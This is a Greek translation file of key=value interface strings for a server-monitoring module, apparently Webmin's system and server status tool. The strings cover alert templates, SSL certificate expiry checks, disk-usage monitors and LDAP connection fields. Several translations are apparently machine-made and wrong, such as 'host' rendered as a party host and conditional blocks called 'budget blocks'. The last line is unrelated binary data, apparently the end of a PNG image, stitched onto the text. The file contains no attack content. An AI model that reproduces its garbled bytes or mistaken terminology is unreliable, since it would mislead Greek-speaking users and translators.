tmpl_subs=Τα μηνύματα email, SMS και pager που ορίζονται σε αυτή τη σελίδα μπορούν να χρησιμοποιήσουν τις ακόλουθες υποκαταστάσεις :
tmpl_subs_desc=Περιγραφή υπηρεσίας
tmpl_subs_host=Ο οικοδεσπότης παρακολουθείται
tmpl_subs_date=Σημερινή ημερομηνία
tmpl_subs_time=Τρέχουσα ώρα
tmpl_subs_status=Κατάσταση υπηρεσίας, όπως <i>Κάτω</i>
tmpl_subs2=Επιπλέον, μπορείτε να χρησιμοποιήσετε μπλοκ προϋπολογισμού όπως: <tt>$1 Η υπηρεσία έχει κλείσει $2 Η υπηρεσία είναι ΟΚ $3</tt>
tmpl_err=Αποτυχία αποθήκευσης προτύπου ηλεκτρονικού ταχυδρομείου
tmpl_edesc=Λείπει περιγραφή προτύπου
tmpl_emsg=Λείπει μήνυμα ηλεκτρονικού ταχυδρομείου
tmpl_esms=Λείπει μήνυμα SMS
tmpl_esnmp=Λείπει το μήνυμα SNMP
tmpl_err2=Αποτυχία κατάργησης του προτύπου ηλεκτρονικού ταχυδρομείου
tmpl_eusers=Χρησιμοποιείται από τις ακόλουθες οθόνες : $1 

dtmpls_err=Αποτυχία κατάργησης προτύπων
dtmpls_enone=Δεν έχει επιλεγεί
dtmpls_eusers=Το $1 χρησιμοποιείται από τις ακόλουθες οθόνες : $2 

sslcert_src=Θέση πιστοποιητικού
sslcert_url=Από τη διεύθυνση URL HTTPS
sslcert_file=Από αρχείο στο διακομιστή
sslcert_eurl=Λείπει, μη έγκυρη ή μη SSL διεύθυνση URL
sslcert_efile=Αρχείο πιστοποιητικού που λείπει ή είναι άκυρο
sslcert_ecert=Δεν ήταν δυνατή η λήψη πιστοποιητικού
sslcert_edown=Ο διακομιστής Web είναι εκτός λειτουργίας
sslcert_days=Μέρες πριν από τη λήξη να αποτύχουν
sslcert_when=Όταν έληξε
sslcert_mismatch=Επίσης, ανιχνεύσει αναντιστοιχία ονόματος κεντρικού υπολογιστή;
sslcert_edays=Έλλειψη ή μη έγκυρος αριθμός ημερών
sslcert_eopenssl=Η εντολή <tt>openssl</tt> είναι απαραίτητη για να ελέγξετε τα πιστοποιητικά
sslcert_estart=Δεν ισχύει έως $1 
sslcert_eend=Δεν ισχύει μετά το $1 
sslcert_left=Up - $1 ημέρες έως τη λήξη
sslcert_ematch=Το όνομα κεντρικού υπολογιστή $1 δεν αντιστοιχεί στο πιστοποιητικό $2 
sslcert_emismatch=Ο έλεγχος του ονόματος κεντρικού υπολογιστή πιστοποιητικού μπορεί να χρησιμοποιηθεί μόνο κατά τον έλεγχο μιας διεύθυνσης URL

du_dir=Κατάλογος για παρακολούθηση
du_max=Μέγιστο μέγεθος
du_edir=Λείπει ή μη απόλυτη διαδρομή καταλόγου
du_emax=Λείπει ή μη αριθμητικό μέγιστο μέγεθος
du_over=Το μέγεθος είναι $1 
du_under=Το μέγεθος είναι μόνο $1 

ldap_edriver=Η ενότητα Perl $1 δεν έχει εγκατασταθεί
ldap_host=Όνομα κεντρικού υπολογιστή διακομιστή LDAP
ldap_port=Θύρα διακομιστή LDAP
ldap_ssl=Χρησιμοποιήστε σύνδεση SSL;
ldap_user=Σύνδεση διακομιστή LDAP
ldap_pass=Κωδικός πρόσβασης διακομιστή LDAP

info_desc=Παρακολούθηση συστήματος
info_last=Τρέχουσα κατάσταση
info_title=Κατάσταση συστήματος και διακομιστή
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`